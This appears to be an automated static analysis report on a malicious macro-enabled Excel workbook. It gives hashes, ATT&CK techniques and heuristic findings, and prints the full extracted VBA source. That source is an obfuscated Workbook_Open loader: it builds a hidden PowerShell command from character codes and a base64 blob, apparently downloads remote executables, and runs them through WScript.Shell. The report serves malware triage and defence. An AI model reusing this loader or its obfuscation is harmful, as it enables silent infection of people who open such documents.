Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 06cacca0a82fb3b6…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2021-07-29 15:15:32 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-05
MD5: 8acd4a6e425ff192d4c67a23d743b792 SHA-1: f482d2463f5fb140c7f4577140ff3d6cb40ac1a4 SHA-256: 06cacca0a82fb3b653e3ce044167079fd1276a4f6eb2b477d56adcaf42ab888b
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains VBA macros, specifically a Workbook_Open macro, which is a common technique for initial execution. The critical heuristic firing for WScript.Shell usage and the high heuristic for CreateObject indicate that the macro attempts to interact with the system to download and execute a payload. The obfuscated VBA code further supports this, suggesting an attempt to hide malicious activity.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    jdhvnmndvdgxqjgufiqalydaytikwjbrzm = "WSCript.shell"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set bngcfdsfenrxrpyxmobimxgtxffdnikt = CreateObject(jdhvnmndvdgxqjgufiqalydaytikwjbrzm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7643 bytes
SHA-256: 0b4465ac5fc6f4086d8b119dcf086ea6bea7199b32c73d9b5e8499b7e57fc57d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub HouseCalc(price As Single, wage As Single)
 If 2.5 * wage <= 0.8 * price Then
 MsgBox "You cannot afford this house."
 Else
 MsgBox "This house is affordable."
 End If
End Sub
Private Sub workbook_open()
wc.qnvb
 vcx = bvcvngh

End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "wc"
Sub qnvb()
vbyj = jhgh(211) & jhgh(221) & jhgh(212) & jhgh(144) & jhgh(159) & jhgh(179) & jhgh(144) & jhgh(192) & jhgh(191) & jhgh(206) & jhgh(199) & jhgh(206) & jhgh(181) & jhgh(226) & jhgh(227) & jhgh(206) & jhgh(184) & jhgh(181) & jhgh(206) & jhgh(188) & jhgh(220) & jhgh(144) & jhgh(157) & jhgh(213) & jhgh(144)
vbyj = vbyj & "WwBTAHkAUwB0AGUAbQAuAHQARQB4AHQALgBFAG4AYwBPAGQASQBOAGcAXQA6ADoAdQBuAGkAYwBPAEQAZQAuAEcAZQB0AHMAVAByAGkATgBnACgAWwBzAHkAUwB0AEUAbQAuAEMAbwBOAFYARQBSAFQAXQA6ADoAZgBSAE8ATQBCAGEAUwBFADYANABzAHQAcgBpAG4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAFEAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBB"
vbyj = vbyj & "AEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgASQBBAGUAUQBCAHEAQQBIAE0AQQBhAEEAQgAxAEEARwBnAEEAZAB3AEEAZwBBAEMAZwBBAEkAQQBBAGsAQQBIAFkAQQBZAGcAQgBtAEEARwBrAEEAYwBBAEIAMgBBAEgAbwBBAGEAQQBCAGkAQQBIAFEAQQBiAEEAQQBnAEEAQwB3AEEASQBBAEEAawBBAEgAZwBBAFoAdwBCAHEAQQBIAGsAQQBaAHcAQgB0AEEARwBzAEEAZQBBAEIAMwBBAEcAMABBAGMAQQBCADMAQQBHAHMAQQBiAEEAQgAzAEEARwBzAEEASQBBAEEAcABBAEEAMABBAEMAZwBCADcAQQBDAEEAQQBTAFEAQgB0AEEARgBBAEEAVAB3AEIAeQBBAEgAUQBBAEwAUQBCAE4AQQBFADgAQQBaAEEAQgAxAEEARQB3AEEAWgBRAEEAZwBBAEUASQBBAGEAUQBCAFUAQQBIAE0AQQBkAEEAQgBTAEEARQBFAEEAVABnAEIAegBBAEcAWQBBAFoAUQBCAFMAQQBEAHMA"
vbyj = vbyj & "QQBEAFEAQQBLAEEARgBNAEEAZABBAEIAQgBBAEgASQBBAFYAQQBBAHQAQQBFAEkAQQBhAFEAQgBVAEEARgBNAEEAVgBBAEIAeQBBAEcARQBBAFQAZwBCAHoAQQBHAFkAQQBSAFEAQgBTAEEAQwBBAEEATABRAEIAegBBAEUAOABBAGQAUQBCAFMAQQBHAE0AQQBaAFEAQQBnAEEAQwBRAEEAZABnAEIAaQBBAEcAWQBBAGEAUQBCAHcAQQBIAFkAQQBlAGcAQgBvAEEARwBJAEEAZABBAEIAcwBBAEMAQQBBAEwAUQBCAGsAQQBFAFUAQQBVAHcAQgBVAEEARwBrAEEAYgBnAEIAaABBAEYAUQBBAGEAUQBCAHYAQQBHADQAQQBJAEEAQQBrAEEASABnAEEAWgB3AEIAcQBBAEgAawBBAFoAdwBCAHQAQQBHAHMAQQBlAEEAQgAzAEEARwAwAEEAYwBBAEIAMwBBAEcAcwBBAGIAQQBCADMAQQBHAHMAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAZwBBAFoAdwBCAHEAQQBIAGsAQQBaAHcAQgB0AEEARwBzAEEAZQBB"
vbyj = vbyj & "AEIAMwBBAEcAMABBAGMAQQBCADMAQQBHAHMAQQBiAEEAQgAzAEEARwBzAEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBrAEEARwA4AEEAYQBnAEIAMQBBAEcAYwBBAFkAZwBCADMAQQBHAFEAQQBjAFEAQgA1AEEARwBvAEEAYQBRAEIAegBBAEcATQBBAFoAZwBCAHAAQQBHAFUAQQBaAGcAQgB6AEEASABZAEEAZQBBAEIAdwBBAEcATQBBAGEAUQBCAG0AQQBHAFUAQQBiAGcAQgBvAEEARAAwAEEASgBBAEIAbABBAEUANABBAFYAZwBBADYAQQBIAFEAQQBaAFEAQgBOAEEARgBBAEEASwB3AEEAbgBBAEYAdwBBAGIAQQBCAHUAQQBHAE0AQQBaAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBjAGcAQgA1AEEARwBvAEEAYwB3AEIAbwBBAEgAVQBBAGEAQQBCADMAQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAEIAdwBBAEgATQBBAE8AZwBBAHYA"
vbyj = vbyj & "QQBDADgAQQBZAHcAQgBrAEEARwA0AEEATABnAEIAawBBAEcAawBBAGMAdwBCAGoAQQBHADgAQQBjAGcAQgBrAEEARwBFAEEAYwBBAEIAdwBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBoAEEASABRAEEAZABBAEIAaABBAEcATQBBAGEAQQBCAHQAQQBHAFUAQQBiAGcAQgAwAEEASABNAEEATAB3AEEANABBAEQAWQBBAE8AUQBBADUAQQBEAFkAQQBOAHcAQQB6AEEARABFAEEATgBBAEEAeABBAEQAawBBAE4AQQBBADAAQQBEAEEAQQBOAHcAQQAwAEEARABRAEEATgBBAEEAdgBBAEQAZwBBAE4AdwBBAHcAQQBEAE0AQQBNAGcAQQB6AEEARABVAEEATQB3AEEAdwBBAEQAawBBAE0AdwBBAHcAQQBEAEkAQQBNAFEAQQB5AEEARABrAEEATgBnAEEAMQBBAEMAOABBAGIAZwBCAHcAQQBHAHcAQQBUAEEAQgBxAEEARQBZAEEAUQB3AEIAVwBBAEgAYwBBAFEAZwBCAGsAQQBIAEUAQQBTAFEAQgBwAEEARABj"
vbyj = vbyj & "AEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgB2AEEARwBvAEEAZABRAEIAbgBBAEcASQBBAGQAdwBCAGsAQQBIAEUAQQBlAFEAQgBxAEEARwBrAEEAYwB3AEIAagBBAEcAWQBBAGEAUQBCAGwAQQBHAFkAQQBjAHcAQgAyAEEASABnAEEAYwBBAEIAagBBAEcAawBBAFoAZwBCAGwAQQBHADQAQQBhAEEAQQA3AEEAQQAwAEEAQwBnAEIAeQBBAEgAawBBAGEAZwBCAHoAQQBHAGcAQQBkAFEAQgBvAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAUQBBAGIAZwBBAHUAQQBHAFEAQQBhAFEAQgB6AEEARwBNAEEAYgB3AEIAeQBBAEcAUQBBAFkAUQBCAHcAQQBIAEEAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEcARQBBAGQAQQBCADAAQQBHAEUAQQBZAHcAQgBvAEEARwAwAEEAWgBRAEIAdQBBAEgAUQBBAGMA"
vbyj = vbyj & "dwBBAHYAQQBEAGcAQQBOAGcAQQA1AEEARABrAEEATgBnAEEAMwBBAEQATQBBAE0AUQBBADAAQQBEAEUAQQBPAFEAQQAwAEEARABRAEEATQBBAEEAMwBBAEQAUQBBAE4AQQBBADAAQQBDADgAQQBPAEEAQQAzAEEARABBAEEATQB3AEEAeQBBAEQATQBBAE4AUQBBAHoAQQBEAEEAQQBPAFEAQQB6AEEARABBAEEATQBnAEEAeABBAEQASQBBAE8AUQBBADIAQQBEAFUAQQBMAHcAQgB1AEEASABBAEEAYgBBAEIATQBBAEcAbwBBAFIAZwBCAEQAQQBGAFkAQQBkAHcAQgBDAEEARwBRAEEAYwBRAEIASgBBAEcAawBBAE4AdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEcAOABBAGEAZwBCADEAQQBHAGMAQQBZAGcAQgAzAEEARwBRAEEAYwBRAEIANQBBAEcAbwBBAGEAUQBCAHoAQQBHAE0AQQBaAGcAQgBwAEEARwBVAEEAWgBnAEIAegBBAEgAWQBBAGUAQQBCAHcAQQBHAE0AQQBhAFEAQgBt"
vbyj = vbyj & "AEEARwBVAEEAYgBnAEIAbwBBAEQAcwBBAEQAUQBBAEsAQQBIAEkAQQBlAFEAQgBxAEEASABNAEEAYQBBAEIAMQBBAEcAZwBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAEEAQgB1AEEAQwA0AEEAWgBBAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEkAQQBaAEEAQgBoAEEASABBAEEAYwBBAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBZAFEAQgAwAEEASABRAEEAWQBRAEIAagBBAEcAZwBBAGIAUQBCAGwAQQBHADQAQQBkAEEAQgB6AEEAQwA4AEEATwBBAEEAMgBBAEQAawBBAE8AUQBBADIAQQBEAGMAQQBNAHcAQQB4AEEARABRAEEATQBRAEEANQBBAEQAUQBBAE4AQQBBAHcAQQBEAGMAQQBOAEEAQQAwAEEARABRAEEATAB3AEEANABBAEQAYwBBAE0AQQBBAHoAQQBEAEkAQQBNAHcAQQAxAEEARABNAEEATQBBAEEANQBBAEQA"
vbyj = vbyj & "TQBBAE0AQQBBAHkAQQBEAEUAQQBNAGcAQQA1AEEARABZAEEATgBRAEEAdgBBAEcANABBAGMAQQBCAHMAQQBFAHcAQQBhAGcAQgBHAEEARQBNAEEAVgBnAEIAMwBBAEUASQBBAFoAQQBCAHgAQQBFAGsAQQBhAFEAQQAzAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBiAHcAQgBxAEEASABVAEEAWgB3AEIAaQBBAEgAYwBBAFoAQQBCAHgAQQBIAGsAQQBhAGcAQgBwAEEASABNAEEAWQB3AEIAbQBBAEcAawBBAFoAUQBCAG0AQQBIAE0AQQBkAGcAQgA0AEEASABBAEEAWQB3AEIAcABBAEcAWQBBAFoAUQBCAHUAQQBHAGcAQQBPAHcAQQBOAEEAQQBvAEEAZgBRAEIAagBBAEcARQBBAGQAQQBCAGoAQQBHAGcAQQBlAHcAQgA5AEEAQQA9AD0AIgApACkAfABpAEUAeAA="


On Error Resume Next
gpoglgr = vbyj
kddayikjkmmdlzdlzi (gpoglgr)
End Sub
Sub dasd()
 HouseCalc 99800, 43100
 Call HouseCalc(380950, 49500)
End Sub
 
Sub HouseCalc(price As Single, wage As Single)
 If 2.5 * wage <= 0.8 * price Then
 MsgBox "You cannot afford this house."
 Else
 MsgBox "This house is affordable."
 End If
End Sub
Function kddayikjkmmdlzdlzi(vjdjwvoytrjwt As String)
tdoypuarubrsbsfcouuwobfxiqxods = 3 - 3
jdhvnmndvdgxqjgufiqalydaytikwjbrzm = "WSCript.shell"
Set bngcfdsfenrxrpyxmobimxgtxffdnikt = CreateObject(jdhvnmndvdgxqjgufiqalydaytikwjbrzm)
wbjitgbaugossbfeiltcnmodkwqgkwknujmvkc = bngcfdsfenrxrpyxmobimxgtxffdnikt.Run(vjdjwvoytrjwt, tdoypuarubrsbsfcouuwobfxiqxods)
End Function
Sub xzczxczx()
    MsgBox " bfgbbfg  dsfgsdf678 fdsgdhgfb bfgdbggb"
End Sub
Function jhgh(bgf)
ghfgbf = "csdf 89"
jhgh = ChrW(bgf - 112)
bgfdfh = "juyjy bfgfg hfgd gergfd fewrew fewr"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26624 bytes
SHA-256: 86192fbc231a3a424a893d8e262b0f318170d391a5f995bfb8baf9314784b48d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).

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